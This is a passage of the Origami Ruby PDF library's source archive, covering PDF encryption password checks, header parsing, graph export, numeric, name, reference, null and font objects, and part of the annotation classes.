uvs) == self.U[0, 32] elsif self.R == 6 uvs = self.U[32, 8] compute_hardened_hash(password_to_utf8(pass), uvs) == self.U[0, 32] end end # # Checks owner password. # For version 2,3 and 4, _salt_ is the document ID. # For version 5, _salt_ is (Owner Key Salt + U) # def is_owner_password?(pass, salt) if self.R < 5 user_password = retrieve_user_password(pass) is_user_password?(user_password, salt) elsif self.R == 5 ovs = self.O[32, 8] Digest::SHA256.digest(password_to_utf8(pass) + ovs + self.U) == self.O[0, 32] elsif self.R == 6 ovs = self.O[32, 8] compute_hardened_hash(password_to_utf8(pass), ovs, self.U[0,48]) == self.O[0, 32] end end # # Retrieve user password from owner password. # Cannot be used with revision 5. # def retrieve_user_password(ownerpassword) key = compute_owner_key(ownerpassword) if self.R == 2 ARC4.decrypt(key, self.O) elsif self.R == 3 or self.R == 4 user_password = ARC4.decrypt(xor(key, 19), self.O) 19.times { |i| user_password = ARC4.decrypt(xor(key, 18-i), user_password) } user_password end end private # # Used to encrypt/decrypt the O field. # Rev 2,3,4: O = crypt(user_pass, owner_key). # Rev 5: unused. # def compute_owner_key(ownerpassword) #:nodoc: opadded = pad_password(ownerpassword) hash = Digest::MD5.digest(opadded) 50.times { hash = Digest::MD5.digest(hash) } if self.R >= 3 if self.R == 2 hash[0, 5] elsif self.R >= 3 hash[0, self.Length / 8] end end # # Compute the value of the U field. # Cannot be used with revision 5. # def compute_user_password(userpassword, salt) #:nodoc: if self.R == 2 key = compute_user_encryption_key(userpassword, salt) user_key = ARC4.encrypt(key, PADDING) elsif self.R == 3 or self.R == 4 key = compute_user_encryption_key(userpassword, salt) upadded = PADDING + salt hash = Digest::MD5.digest(upadded) user_key = ARC4.encrypt(key, hash) 19.times { |i| user_key = ARC4.encrypt(xor(key,i+1), user_key) } user_key.ljust(32, 0xFF.chr) end end # # Computes hardened hash used in revision 6 (extension level 8). # def compute_hardened_hash(password, salt, vector = '') block_size = 32 input = Digest::SHA256.digest(password + salt + vector) + "\x00" * 32 key = input[0, 16] iv = input[16, 16] digest, aes, h, x = nil, nil, nil, nil i = 0 while i < 64 or i < x[-1].ord + 32 j = 0 block = input[0, block_size] if Origami::OPTIONS[:use_openssl] aes = OpenSSL::Cipher::Cipher.new("aes-128-cbc").encrypt aes.iv = iv aes.key = key aes.padding = 0 else fail "You need OpenSSL support to encrypt/decrypt documents with this method" end 64.times do |j| x = '' x += aes.update(password) unless password.empty? x += aes.update(block) x += aes.update(vector) unless vector.empty? if j == 0 block_size = 32 + (x.unpack("C16").inject(0) {|a,b| a+b} % 3) * 16 digest = Digest::SHA2.new(block_size << 3) end digest.update(x) end h = digest.digest key = h[0, 16] input[0, block_size] = h[0, block_size] iv = h[16, 16] i = i + 1 end h[0, 32] end def xor(str, byte) #:nodoc: str.split(//).map!{|c| (c[0].ord ^ byte).chr }.join end def pad_password(password) #:nodoc: return PADDING.dup if password.empty? # Fix for Ruby 1.9 bug password[0,32].ljust(32, PADDING) end def password_to_utf8(passwd) #:nodoc: Origami::ByteString.new(passwd).to_utf8[0, 127] end end end end end __END__ def hexprint(str) hex = "" str.each_byte do |b| digit = b.to_s(16) digit = "0" + digit if digit.size == 1 hex << digit end puts hex.upcase end origami-pdf-1.2.7/lib/origami/header.rb0000644000175000017500000000452112101464040020075 0ustar terceiroterceiro=begin = File header.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class PDF class InvalidHeaderError < Exception #:nodoc: end # # Class representing a PDF Header. # class Header MINVERSION = 0 MAXVERSION = 7 MAGIC = /%PDF-(\d+)\.(\d+)/ attr_accessor :majorversion, :minorversion # # Creates a file header, with the given major and minor versions. # _majorversion_:: Major PDF version, must be 1. # _minorversion_:: Minor PDF version, must be between 0 and 7. # def initialize(majorversion = 1, minorversion = 4) #if majorversion.to_i != 1 || ! ((MINVERSION..MAXVERSION) === minorversion.to_i) # Console.colorprint("[info ] Warning: Invalid file version : #{majorversion}.#{minorversion}\n", Console::Colors::YELLOW, false, STDERR) #end @majorversion, @minorversion = majorversion, minorversion end def self.parse(stream) #:nodoc: if not stream.scan(MAGIC).nil? maj = stream[1].to_i min = stream[2].to_i else raise InvalidHeaderError, "Invalid header format : #{stream.peek(15).inspect}" end PDF::Header.new(maj,min) end # # Outputs self into PDF code. # def to_s "%PDF-#{@majorversion}.#{@minorversion}" + EOL end def to_sym #:nodoc: "#{@majorversion}.#{@minorversion}".to_sym end def to_f #:nodoc: to_sym.to_s.to_f end end end end origami-pdf-1.2.7/lib/origami/export.rb0000644000175000017500000002122312101464040020164 0ustar terceiroterceiro=begin = File export.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class PDF # # Exports the document to a dot Graphiz file. # _filename_:: The path where to save the file. # def export_to_graph(filename) def appearance(object) #:nodoc: label = object.type.to_s case object when Catalog fontcolor = "red" color = "mistyrose" shape = "ellipse" when Name, Number label = object.value fontcolor = "brown" color = "lightgoldenrodyellow" shape = "polygon" when String label = object.value unless (object.is_binary_data? or object.length > 50) fontcolor = "red" color = "white" shape = "polygon" when Array fontcolor = "darkgreen" color = "lightcyan" shape = "ellipse" else fontcolor = "blue" color = "aliceblue" shape = "ellipse" end { :label => label, :fontcolor => fontcolor, :color => color, :shape => shape } end def add_edges(pdf, fd, object) #:nodoc: if object.is_a?(Array) or object.is_a?(ObjectStream) object.each { |subobj| subobj = subobj.solve if subobj.is_a?(Reference) fd << "\t#{object.object_id} -> #{subobj.object_id}\n" unless subobj.nil? } elsif object.is_a?(Dictionary) object.each_pair { |name, subobj| subobj = subobj.solve if subobj.is_a?(Reference) fd << "\t#{object.object_id} -> #{subobj.object_id} [label=\"#{name.value}\",fontsize=9];\n" unless subobj.nil? } end if object.is_a?(Stream) object.dictionary.each_pair { |key, value| value = value.solve if value.is_a?(Reference) fd << "\t#{object.object_id} -> #{value.object_id} [label=\"#{key.value}\",fontsize=9];\n" unless value.nil? } end end graphname = "PDF" if graphname.nil? or graphname.empty? fd = File.open(filename, "w") begin fd << "digraph #{graphname} {\n\n" objects = self.objects(:include_keys => false).find_all{ |obj| not obj.is_a?(Reference) } objects.each { |object| attr = appearance(object) fd << "\t#{object.object_id} [label=\"#{attr[:label]}\",shape=#{attr[:shape]},color=#{attr[:color]},style=filled,fontcolor=#{attr[:fontcolor]},fontsize=16];\n" if object.is_a?(Stream) object.dictionary.each { |value| unless value.is_a?(Reference) attr = appearance(value) fd << "\t#{value.object_id} [label=\"#{attr[:label]}\",shape=#{attr[:shape]},color=#{attr[:color]},style=filled,fontcolor=#{attr[:fontcolor]},fontsize=16];\n" end } end add_edges(self, fd, object) } fd << "\n}" ensure fd.close end end # # Exports the document to a GraphML file. # _filename_:: The path where to save the file. # def export_to_graphml(filename) def declare_node(id, attr) #:nodoc: " \n" << " \n" << " \n" << " #{attr[:label]}\n" << #~ " \n" << " \n" << " \n" << " \n" end def declare_edge(id, src, dest, label = nil) #:nodoc: " \n" << " \n" << " \n" << " \n" << " \n" << " #{label.to_s}\n" << " \n" << " \n" << " \n" end def appearance(object) #:nodoc: label = object.type.to_s case object when Catalog fontcolor = "red" color = "mistyrose" shape = "doublecircle" when Name, Number label = object.value fontcolor = "orange" color = "lightgoldenrodyellow" shape = "polygon" when String label = object.value unless (object.is_binary_data? or object.length > 50) fontcolor = "red" color = "white" shape = "polygon" when Array fontcolor = "green" color = "lightcyan" shape = "ellipse" else fontcolor = "blue" color = "aliceblue" shape = "ellipse" end { :label => label, :fontcolor => fontcolor, :color => color, :shape => shape } end def add_edges(pdf, fd, object, id) #:nodoc: if object.is_a?(Array) or object.is_a?(ObjectStream) object.each { |subobj| subobj = subobj.solve if subobj.is_a?(Reference) unless subobj.nil? fd << declare_edge("e#{id}", "n#{object.object_id}", "n#{subobj.object_id}") id = id + 1 end } elsif object.is_a?(Dictionary) object.each_pair { |name, subobj| subobj = subobj.solve if subobj.is_a?(Reference) unless subobj.nil? fd << declare_edge("e#{id}", "n#{object.object_id}", "n#{subobj.object_id}", name.value) id = id + 1 end } end if object.is_a?(Stream) object.dictionary.each_pair { |key, value| value = value.solve if value.is_a?(Reference) unless value.nil? fd << declare_edge("e#{id}", "n#{object.object_id}", "n#{value.object_id}", key.value) id = id + 1 end } end id end @@edge_nb = 1 graphname = "PDF" if graphname.nil? or graphname.empty? fd = File.open(filename, "w") edge_nb = 1 begin fd << '' << "\n" fd << '' << "\n" fd << '' << "\n" fd << '' << "\n" fd << "\n" objects = self.objects(:include_keys => false).find_all{ |obj| not obj.is_a?(Reference) } objects.each { |object| fd << declare_node("n#{object.object_id}", appearance(object)) if object.is_a?(Stream) object.dictionary.each { |value| unless value.is_a?(Reference) fd << declare_node(value.object_id, appearance(value)) end } end edge_nb = add_edges(self, fd, object, edge_nb) } fd << '' << "\n" fd << '' ensure fd.close end end end end origami-pdf-1.2.7/lib/origami/numeric.rb0000644000175000017500000001023112142214376020314 0ustar terceiroterceiro=begin = File numeric.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'delegate' module Origami class InvalidIntegerObjectError < InvalidObjectError #:nodoc: end # # Class representing a PDF number (Integer, or Real). # module Number include Origami::Object def ~ self.class.new(~self.to_i) end def |(val) self.class.new(self.to_i | val) end def &(val) self.class.new(self.to_i & val) end def ^(val) self.class.new(self.to_i ^ val) end def <<(val) self.class.new(self.to_i << val) end def >>(val) self.class.new(self.to_i >> val) end def +(val) self.class.new(self.to_i + val) end def -(val) self.class.new(self.to_i - val) end def -@ self.class.new(-self.to_i) end def *(val) self.class.new(self.to_i * val) end def /(val) self.class.new(self.to_i / val) end def abs self.class.new(self.to_i.abs) end def **(val) self.class.new(self.to_i ** val) end def to_s super(value.to_s) end module ClassMethods #:nodoc:all def native_type; Number end end def self.included(receiver) #:nodoc: receiver.extend(ClassMethods) end def self.native_type; Number end #:nodoc: end # # Class representing an Integer Object. # class Integer < DelegateClass(Bignum) include Number TOKENS = [ "(\\+|-)?[\\d]+[^.]?" ] #:nodoc: REGEXP_TOKEN = Regexp.new(TOKENS.first) @@regexp = Regexp.new(WHITESPACES + "((\\+|-)?[\\d]+)") # # Creates a new Integer from a Ruby Fixnum / Bignum. # _i_:: The Integer value. # def initialize(i = 0) unless i.is_a?(::Integer) raise TypeError, "Expected type Fixnum or Bignum, received #{i.class}." end super(i) end def self.parse(stream, parser = nil) #:nodoc: offset = stream.pos if not stream.scan(@@regexp) raise InvalidIntegerObjectError, "Invalid integer format" end value = stream[2].to_i int = Integer.new(value) int.file_offset = offset int end alias value to_i end class InvalidRealObjectError < InvalidObjectError #:nodoc: end # # Class representing a Real number Object. # PDF real numbers are arbitrary precision numbers, depending on architectures. # class Real < DelegateClass(Float) include Number TOKENS = [ "(\\+|-)?([\\d]*\\.[\\d]+|[\\d]+\\.[\\d]*)([eE](\\+|-)?[\\d]+)?" ] #:nodoc: REGEXP_TOKEN = Regexp.new(TOKENS.first) @@regexp = Regexp.new(WHITESPACES + "(" + TOKENS.first + ")") # # Creates a new Real from a Ruby Float. # _f_:: The new Real value. # def initialize(f = 0) unless f.is_a?(Float) raise TypeError, "Expected type Float, received #{f.class}." end super(f) end def self.parse(stream, parser = nil) #:nodoc: offset = stream.pos if not stream.scan(@@regexp) raise InvalidRealObjectError, "Invalid real number format" end value = stream[2].to_f real = Real.new(value) real.file_offset = offset real end alias value to_f def to_s sprintf("%f", self).sub(/\.0*$|(\.\d*[^0])0*$/, '\1') end end end origami-pdf-1.2.7/lib/origami/reference.rb0000644000175000017500000000536012142214376020617 0ustar terceiroterceiro=begin = File reference.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class InvalidReferenceError < Exception #:nodoc: end # # Class representing a Reference Object. # Reference are like symbolic links pointing to a particular object into the file. # class Reference include Origami::Object TOKENS = [ "(\\d+)" + WHITESPACES + "(\\d+)" + WHITESPACES + "R" ] #:nodoc: REGEXP_TOKEN = Regexp.new(TOKENS.first, Regexp::MULTILINE) @@regexp = Regexp.new(WHITESPACES + TOKENS.first + WHITESPACES) attr_accessor :refno, :refgen def initialize(refno, refgen) @refno, @refgen = refno, refgen end def self.parse(stream, parser = nil) #:nodoc: offset = stream.pos if stream.scan(@@regexp).nil? raise InvalidReferenceError, "Bad reference to indirect objet format" end refno = stream[2].to_i refgen = stream[4].to_i ref = Reference.new(refno,refgen) ref.file_offset = offset ref end def solve pdfdoc = self.pdf if pdfdoc.nil? raise InvalidReferenceError, "Not attached to any PDF" end target = pdfdoc.get_object(self) if target.nil? and not Origami::OPTIONS[:ignore_bad_references] raise InvalidReferenceError, "Cannot resolve reference : #{self.to_s}" end target or Null.new end def eql?(ref) #:nodoc ref.is_a?(Reference) and ref.refno == @refno and ref.refgen == @refgen end def hash #:nodoc: self.to_a.hash end def <=>(ref) #:nodoc self.to_a <=> ref.to_a end # # Returns a Ruby array with the object number and the generation this reference is pointing to. # def to_a [@refno, @refgen] end def to_s #:nodoc: super("#{@refno} #{@refgen} R") end # # Returns self. # def value self end def self.native_type ; Reference end end end origami-pdf-1.2.7/lib/origami/name.rb0000644000175000017500000000720512142214376017601 0ustar terceiroterceiro=begin = File name.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end if RUBY_VERSION < '1.9' class EmptySymbol def ==(sym) sym.is_a?(EmptySymbol) end def id2name "" end alias to_s id2name def to_sym self end def to_o Name.new("") end def inspect ":" end end end module Origami REGULARCHARS = "([^ \\t\\r\\n\\0\\[\\]<>()%\\/]|#[a-fA-F0-9][a-fA-F0-9])*" #:nodoc: class InvalidNameObjectError < InvalidObjectError #:nodoc: end # # Class representing a Name Object. # Name objects are strings which identify some PDF file inner structures. # class Name #< DelegateClass(Symbol) include Origami::Object TOKENS = %w{ / } #:nodoc: @@regexp = Regexp.new(WHITESPACES + TOKENS.first + "(" + REGULARCHARS + ")" + WHITESPACES) #:nodoc # # Creates a new Name. # _name_:: A symbol representing the new Name value. # def initialize(name = "") unless name.is_a?(Symbol) or name.is_a?(::String) raise TypeError, "Expected type Symbol or String, received #{name.class}." end @value = name.to_s super() end if RUBY_VERSION < '1.9' def value ( @value.empty? ) ? EmptySymbol.new : @value.to_sym end else def value @value.to_sym end end def ==(object) #:nodoc: self.eql?(object) or @value.to_sym == object end def eql?(object) #:nodoc: object.is_a?(Name) and self.to_s == object.to_s end def hash #:nodoc: @value.hash end def to_s #:nodoc: super(TOKENS.first + Name.expand(@value)) end def self.parse(stream, parser = nil) #:nodoc: offset = stream.pos name = if stream.scan(@@regexp).nil? raise InvalidNameObjectError, "Bad name format" else value = stream[2] Name.new(value.include?('#') ? contract(value) : value) end name.file_offset = offset name end def self.contract(name) #:nodoc: i = 0 name = name.dup while i < name.length if name[i,1] == "#" digits = name[i+1, 2] unless /^[A-Za-z0-9]{2}$/ === digits raise InvalidNameObjectError, "Irregular use of # token" end char = digits.hex.chr if char == "\0" raise InvalidNameObjectError, "Null byte forbidden inside name definition" end name[i, 3] = char end i = i + 1 end name end def self.expand(name) #:nodoc: forbiddenchars = /[ #\t\r\n\0\[\]<>()%\/]/ name.gsub(forbiddenchars) do |c| "#" + c[0].ord.to_s(16).rjust(2,"0") end end def self.native_type ; Name end end end origami-pdf-1.2.7/lib/origami/font.rb0000644000175000017500000001604312142214376017627 0ustar terceiroterceiro=begin = File font.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami # # Embedded font stream. # class FontStream < Stream field :Subtype, :Type => Name field :Length1, :Type => Integer field :Length2, :Type => Integer field :Length3, :Type => Integer end # # Class representing a font details in a document. # class FontDescriptor < Dictionary include StandardObject FIXEDPITCH = 1 << 1 SERIF = 1 << 2 SYMBOLIC = 1 << 3 SCRIPT = 1 << 4 NONSYMBOLIC = 1 << 6 ITALIC = 1 << 7 ALLCAP = 1 << 17 SMALLCAP = 1 << 18 FORCEBOLD = 1 << 19 field :Type, :Type => Name, :Default => :FontDescriptor, :Required => true field :FontName, :Type => Name, :Required => true field :FontFamily, :Type => ByteString, :Version => "1.5" field :FontStretch, :Type => Name, :Default => :Normal, :Version => "1.5" field :FontWeight, :Type => Integer, :Default => 400, :Version => "1.5" field :Flags, :Type => Integer, :Required => true field :FontBBox, :Type => Array field :ItalicAngle, :Type => Number, :Required => true field :Ascent, :Type => Number field :Descent, :Type => Number field :Leading, :Type => Number, :Default => 0 field :CapHeight, :Type => Number field :XHeight, :Type => Number, :Default => 0 field :StemV, :Type => Number field :StemH, :Type => Number, :Default => 0 field :AvgWidth, :Type => Number, :Default => 0 field :MaxWidth, :Type => Number, :Default => 0 field :MissingWidth, :Type => Number, :Default => 0 field :FontFile, :Type => FontStream field :FontFile2, :Type => FontStream, :Version => "1.1" field :FontFile3, :Type => FontStream, :Version => "1.2" field :CharSet, :Type => ByteString, :Version => "1.1" end # # Class representing a character encoding in a document. # class Encoding < Dictionary include StandardObject field :Type, :Type => Name, :Default => :Encoding field :BaseEncoding, :Type => Name field :Differences, :Type => Array end # # Class representing a rendering font in a document. # class Font < Dictionary include StandardObject field :Type, :Type => Name, :Default => :Font, :Required => true field :Subtype, :Type => Name, :Required => true field :Name, :Type => Name field :FirstChar, :Type => Integer field :LastChar, :Type => Integer field :Widths, :Type => Array field :FontDescriptor, :Type => FontDescriptor field :Encoding, :Type => [ Name, Encoding ], :Default => :MacRomanEncoding field :ToUnicode, :Type => Stream, :Version => "1.2" # TODO: Type0 and CID Fonts # # Type1 Fonts. # class Type1 < Font field :BaseFont, :Type => Name, :Required => true field :Subtype, :Type => Name, :Default => :Type1, :Required => true # # 14 standard Type1 fonts. # module Standard class TimesRoman < Type1 field :BaseFont, :Type => Name, :Default => :"Times-Roman", :Required => true end class Helvetica < Type1 field :BaseFont, :Type => Name, :Default => :Helvetica, :Required => true end class Courier < Type1 field :BaseFont, :Type => Name, :Default => :Courier, :Required => true end class Symbol < Type1 field :BaseFont, :Type => Name, :Default => :Symbol, :Required => true end class TimesBold < Type1 field :BaseFont, :Type => Name, :Default => :"Times-Bold", :Required => true end class HelveticaBold < Type1 field :BaseFont, :Type => Name, :Default => :"Helvetica-Bold", :Required => true end class CourierBold < Type1 field :BaseFont, :Type => Name, :Default => :"Courier-Bold", :Required => true end class ZapfDingbats < Type1 field :BaseFont, :Type => Name, :Default => :ZapfDingbats, :Required => true end class TimesItalic < Type1 field :BaseFont, :Type => Name, :Default => :"Times-Italic", :Required => true end class HelveticaOblique < Type1 field :BaseFont, :Type => Name, :Default => :"Helvetica-Oblique", :Required => true end class CourierOblique < Type1 field :BaseFont, :Type => Name, :Default => :"Courier-Oblique", :Required => true end class TimesBoldItalic < Type1 field :BaseFont, :Type => Name, :Default => :"Times-BoldItalic", :Required => true end class HelveticaBoldOblique < Type1 field :BaseFont, :Type => Name, :Default => :"Helvetica-BoldOblique", :Required => true end class CourierBoldOblique < Type1 field :BaseFont, :Type => Name, :Default => :"Courier-BoldOblique", :Required => true end end end # # TrueType Fonts # class TrueType < Font field :Subtype, :Type => Name, :Default => :TrueType, :Required => true end # # Type 3 Fonts # class Type3 < Font field :Subtype, :Type => Name, :Default => :Type3, :Required => true field :FontBBox, :Type => Array, :Required => true field :FontMatrix, :Type => Array, :Required => true field :CharProcs, :Type => Dictionary, :Required => true field :Resources, :Type => Dictionary, :Version => "1.2" end end end origami-pdf-1.2.7/lib/origami/null.rb0000644000175000017500000000310012142214376017621 0ustar terceiroterceiro=begin = File null.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class InvalidNullObjectError < InvalidObjectError #:nodoc: end # # Class representing Null Object. # class Null include Origami::Object TOKENS = %w{ null } #:nodoc: @@regexp = Regexp.new(WHITESPACES + TOKENS.first) def initialize super end def self.parse(stream, parser = nil) #:nodoc: offset = stream.pos if stream.skip(@@regexp).nil? raise InvalidNullObjectError end null = Null.new null.file_offset = offset null end # # Returns *nil*. # def value nil end def to_s #:nodoc: super(TOKENS.first) end def self.native_type ; Null end end end origami-pdf-1.2.7/lib/origami/annotations.rb0000644000175000017500000006442212122127175021220 0ustar terceiroterceiro=begin = File annotations.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami # # Class representing an annotation. # Annotations are objects which user can interact with. # class Annotation < Dictionary include StandardObject field :Type, :Type => Name, :Default => :Annot field :Subtype, :Type => Name, :Required => true field :Rect, :Type => Array, :Default => [ 0 , 0 , 0 , 0 ], :Required => true field :Contents, :Type => String field :P, :Type => Dictionary, :Version => "1.3" field :NM, :Type => String, :Version => "1.4" field :M, :Type => ByteString, :Version => "1.1" field :F, :Type => Integer, :Default => 0, :Version => "1.1" field :AP, :Type => Dictionary, :Version => "1.2" field :AS, :Type => Name, :Version => "1.2" field :Border, :Type => Array, :Default => [ 0 , 0 , 1 ] field :C, :Type => Array, :Version => "1.1" field :StructParent, :Type => Integer, :Version => "1.3" field :OC, :Type => Dictionary, :Version => "1.5" def set_normal_appearance(apstm) self.AP ||= AppearanceDictionary.new self.AP[:N] = apstm self end def set_rollover_appearance(apstm) self.AP ||= AppearanceDictionary.new self.AP[:R] = apstm self end def set_down_appearance(apstm) self.AP ||= AppearanceStream.new self.AP[:D] = apstm self end module Triggerable def onMouseOver(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.E = action end def onMouseOut(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.X = action end def onMouseDown(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.D = action end def onMouseUp(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.U = action end def onFocus(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.Fo = action end def onBlur(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.Bl = action end def onPageOpen(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.PO = action end def onPageClose(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.PC = action end def onPageVisible(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.PV = action end def onPageInvisible(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.PI = action end end # # Annotation flags # module Flags INVISIBLE = 1 << 0 HIDDEN = 1 << 1 PRINT = 1 << 2 NOZOOM = 1 << 3 NOROTATE = 1 << 4 NOVIEW = 1 << 5 READONLY = 1 << 6 LOCKED = 1 << 7 TOGGLENOVIEW = 1 << 8 LOCKEDCONTENTS = 1 << 9 end module Markup def self.included(receiver) receiver.field :T, :Type => String, :Version => "1.1" receiver.field :Popup, :Type => Dictionary, :Version => "1.3" receiver.field :CA, :Type => Number, :Default => 1.0, :Version => "1.4" receiver.field :RC, :Type => [String, Stream], :Version => "1.5" receiver.field :CreationDate, :Type => String, :Version => "1.5" receiver.field :IRT, :Type => Dictionary, :Version => "1.5" receiver.field :Subj, :Type => String, :Version => "1.5" receiver.field :RT, :Type => Name, :Default => :R, :Version => "1.6" receiver.field :IT, :Type => Name, :Version => "1.6" receiver.field :ExData, :Type => Dictionary, :Version => "1.7" end end class AppearanceDictionary < Dictionary include StandardObject field :N, :Type => [ Stream, Dictionary ], :Required => true field :R, :Type => [ Stream, Dictionary ] field :D, :Type => [ Stream, Dictionary ] end class AppearanceStream < Graphics::FormXObject ; end class BorderStyle < Dictionary include StandardObject SOLID = :S DASHED = :D BEVELED = :B INSET = :I UNDERLINE = :U field :Type, :Type => Name, :Default => :Border field :W, :Type => Number, :Default => 1 field :S, :Type => Name, :Default => SOLID field :D, :Type => Array, :Default => [ 3 ] end class AppearanceCharacteristics < Dictionary include StandardObject module CaptionStyle CAPTIONONLY = 0 ICONONLY = 1 CAPTIONBELOW = 2 CAPTIONABOVE = 3 CAPTIONRIGHT = 4 CAPTIONLEFT = 5 CAPTIONOVERLAID = 6 end field :R, :Type => Integer, :Default => 0 field :BC, :Type => Array field :BG, :Type => Array field :CA, :Type => String field :RC, :Type => String field :AC, :Type => String field :I, :Type => Stream field :RI, :Type => Stream field :IX, :Type => Stream field :IF, :Type => Dictionary field :TP, :Type => Integer, :Default => CaptionStyle::CAPTIONONLY end class Shape < Annotation include Markup field :Subtype, :Type => Name, :Required => true field :BS, :Type => Dictionary field :IC, :Type => Array field :BE, :Type => Dictionary, :Version => "1.5" field :RD, :Type => Array, :Version => "1.5" end class Square < Shape field :Subtype, :Type => Name, :Default => :Square, :Required => true end class Circle < Shape field :Subtype, :Type => Name, :Default => :Circle, :Required => true end # # Text annotation # class Text < Annotation include Markup module TextName COMMENT = :C KEY = :K NOTE = :N HELP = :H NEWPARAGRAPH = :NP PARAGRAPH = :P INSERT = :I end field :Subtype, :Type => Name, :Default => :Text, :Required => true field :Open, :Type => Boolean, :Default => false field :Name, :Type => Name, :Default => TextName::NOTE field :State, :Type => String, :Version => "1.5" field :StateModel, :Type => String, :Version => "1.5" def pre_build model = self.StateModel state = self.State case model when "Marked" state = "Unmarked" if state.nil? when "Review" state = "None" if state.nil? end super end end # # FreeText Annotation # class FreeText < Annotation include Markup module Intent FREETEXT = :FreeText FREETEXTCALLOUT = :FreeTextCallout FREETEXTTYPEWRITER = :FreeTextTypeWriter end field :Subtype, :Type => Name, :Default => :FreeText, :Required => true field :DA, :Type => String, :Default => "/F1 10 Tf 0 g", :Required => true field :Q, :Type => Integer, :Default => Field::TextAlign::LEFT, :Version => "1.4" field :RC, :Type => [String, Stream], :Version => "1.5" field :DS, :Type => String, :Version => "1.5" field :CL, :Type => Array, :Version => "1.6" field :IT, :Type => Name, :Default => Intent::FREETEXT, :Version => "1.6" field :BE, :Type => Dictionary, :Version => "1.6" field :RD, :Type => Array, :Version => "1.6" field :BS, :Type => Dictionary, :Version => "1.6" field :LE, :Type => Name, :Default => :None, :Version => "1.6" end # # 